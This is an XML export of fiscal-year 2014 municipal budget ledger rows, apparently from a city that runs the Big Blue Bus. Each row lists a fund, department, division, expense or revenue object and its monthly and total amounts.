<row _id="5126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2758.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2758.0</total></row>
<row _id="5127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7896.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7896.0</total></row>
<row _id="5128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-79763.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-79763.0</total></row>
<row _id="5129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-575000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-575000.0</total></row>
<row _id="5130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="5131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566630.0</object><object_description>STORM DRAIN MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>175000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>175000.0</total></row>
<row _id="5132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15715.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15715.0</total></row>
<row _id="5133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1650.0</total></row>
<row _id="5134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5195.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5195.0</total></row>
<row _id="5135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9975.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9975.0</total></row>
<row _id="5136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30764.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30764.0</total></row>
<row _id="5137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="5138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-918000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-918000.0</total></row>
<row _id="5139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>323.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>323.0</total></row>
<row _id="5140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11794.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11794.0</total></row>
<row _id="5141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533650.0</object><object_description>CONF / MTGS / TRAVEL-TV</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7140.0</total></row>
<row _id="5142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407050.0</object><object_description>GEN PROM BUS LIC - PICO</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4300.0</total></row>
<row _id="5143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="5144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-220548.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-220548.0</total></row>
<row _id="5145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400771.0</object><object_description>OUTDOOR DINING REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-508645.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-508645.0</total></row>
<row _id="5146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-87911.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-87911.0</total></row>
<row _id="5147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-58000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-58000.0</total></row>
<row _id="5148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-118000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-118000.0</total></row>
<row _id="5149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="5150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400950.0</object><object_description>MOUNTAIN VIEW LEASE REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-356000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-356000.0</total></row>
<row _id="5151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>444338.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>444338.0</total></row>
<row _id="5152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18401.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18401.0</total></row>
<row _id="5153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511300.0</object><object_description>HOLIDAY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>485386.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>485386.0</total></row>
<row _id="5154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="5155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>971302.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>971302.0</total></row>
<row _id="5156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522912.0</object><object_description>OIL FOR REVENUE EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>153750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>153750.0</total></row>
<row _id="5157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115500.0</total></row>
<row _id="5158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2143.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2143.0</total></row>
<row _id="5159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8364.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8364.0</total></row>
<row _id="5160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>454.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>454.0</total></row>
<row _id="5161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139759.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>139759.0</total></row>
<row _id="5162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>496523.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>496523.0</total></row>
<row _id="5163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24711.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24711.0</total></row>
<row _id="5164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="5165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="5166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>404760.0</object><object_description>RENT/PROP FEES - KEC</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-2381.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2381.0</total></row>
<row _id="5167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11440.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11440.0</total></row>
<row _id="5168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="5169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4845.0</total></row>
<row _id="5170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="5171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="5172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1805.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1805.0</total></row>
